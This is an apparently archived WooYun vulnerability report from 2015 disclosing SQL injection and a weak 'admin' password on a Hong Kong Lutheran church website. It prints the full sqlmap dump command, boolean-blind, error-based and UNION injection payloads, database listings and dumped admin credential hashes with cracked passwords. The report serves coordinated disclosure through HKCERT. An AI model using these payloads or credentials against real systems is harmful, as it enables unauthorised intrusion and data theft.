当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145680

漏洞标题:基督教香港信义会某处存在SQL注入漏洞+admin弱密码(香港地區)

相关厂商:hkcert香港互联网应急协调中心

漏洞作者: 路人甲

提交时间:2015-10-11 23:17

修复时间:2015-11-29 16:38

公开时间:2015-11-29 16:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-15: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

基督教香港信义会某处存在SQL注入漏洞+admin弱密码

详细说明:

基督教香港信义会某处存在SQL注入漏洞+admin弱密码
使用sqlmap进行测试:
测试地址:http://**.**.**.**/service/news_details.php?pkey=1749

python sqlmap.py -u "http://**.**.**.**/service/news_details.php?pkey=1749" --random-agent -p pkey --technique=BEU  -D elchk_survey -T tbl_admin -C login,pkey,pwd --dump

漏洞证明:

---
Parameter: pkey (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pkey=1749' AND 9548=9548 AND 'lPAS'='lPAS
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: pkey=1749' AND (SELECT 6818 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(6818=6818,1))),0x7178787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Xadm'='Xadm
Type: UNION query
Title: MySQL UNION query (42) - 29 columns
Payload: pkey=-3660' UNION ALL SELECT 42,42,42,42,42,42,CONCAT(0x7176627a71,0x65614c7a525347564478,0x7178787871),42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42#
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0


available databases [5]:
[*] elchk
[*] elchk_survey
[*] information_schema
[*] service
[*] webproject


Database: elchk_survey
[13 tables]
+------------------------------+
| tbl_admin |
| tbl_cms_photo |
| tbl_enquiry_setting |
| tbl_layout_background |
| tbl_survey_answer |
| tbl_survey_participant |
| tbl_survey_question |
| tbl_survey_question_template |
| tbl_survey_result |
| tbl_survey_validation |
| tbl_survey_visit |
| tbl_sys_setup |
| tbl_template |
+------------------------------+


Database: elchk_survey
Table: tbl_admin
[7 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| isvalid | varchar(50) |
| lastlogindate | datetime |
| login | varchar(50) |
| pkey | int(11) |
| pwd | varchar(50) |
| totlog | int(11) |
| user_type | varchar(200) |
+---------------+--------------+


Table: tbl_admin
[3 entries]
+-------+------+------------------------------------------+
| login | pkey | pwd |
+-------+------+------------------------------------------+
| admin | 1 | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| igt | 3 | 507611eed7d9462db2895835cd465b40 |
| user | 2 | ee11cbb19052e40b07aac0ca060c23ee (user) |
+-------+------+------------------------------------------+


admin的弱密码:admin

修复方案:

增加WAF。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-15 16:37

厂商回复:

已聯絡相關機構處理

最新状态:

暂无


漏洞评价:

评价